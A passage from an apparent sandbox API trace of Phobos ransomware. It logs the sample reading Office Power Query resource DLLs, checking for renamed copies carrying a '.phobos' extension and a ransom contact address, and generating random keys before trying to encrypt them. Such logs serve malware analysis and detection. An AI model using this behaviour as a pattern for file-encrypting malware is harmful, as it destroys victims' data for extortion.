Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\he\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.641] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=622656) returned 1 [0155.641] CloseHandle (hObject=0x36c) returned 1 [0155.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\he\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\he\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\he\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.642] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hi\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.643] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=81984) returned 1 [0155.643] CloseHandle (hObject=0x36c) returned 1 [0155.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hi\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hi\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hi\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.644] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hi\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.644] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=221248) returned 1 [0155.644] CloseHandle (hObject=0x36c) returned 1 [0155.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hi\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hi\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hi\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.645] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hi\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.646] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=289448) returned 1 [0155.646] CloseHandle (hObject=0x36c) returned 1 [0155.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hi\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hi\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hi\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.647] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hi\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.651] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=860224) returned 1 [0155.651] CloseHandle (hObject=0x36c) returned 1 [0155.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hi\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hi\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hi\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.651] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hr\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.653] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=61504) returned 1 [0155.653] CloseHandle (hObject=0x36c) returned 1 [0155.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hr\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hr\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hr\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.654] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hr\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.770] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=159808) returned 1 [0155.771] CloseHandle (hObject=0x254) returned 1 [0155.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hr\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hr\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hr\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.771] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hu\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.774] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=168000) returned 1 [0155.774] CloseHandle (hObject=0x254) returned 1 [0155.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hu\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hu\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hu\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.777] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hu\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.781] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=600744) returned 1 [0155.782] CloseHandle (hObject=0x254) returned 1 [0155.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hu\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hu\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hu\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.782] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\id\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.784] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=55976) returned 1 [0155.784] CloseHandle (hObject=0x254) returned 1 [0155.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\id\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\id\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\id\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.784] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\id\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.790] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=154280) returned 1 [0155.790] CloseHandle (hObject=0x254) returned 1 [0155.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\id\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\id\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.798] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\id\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.798] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.798] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\id\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.805] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=553024) returned 1 [0155.805] CloseHandle (hObject=0x254) returned 1 [0155.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\id\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\id\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\id\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.806] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\it\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.809] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=576168) returned 1 [0155.809] CloseHandle (hObject=0x254) returned 1 [0155.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\it\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\it\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\it\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 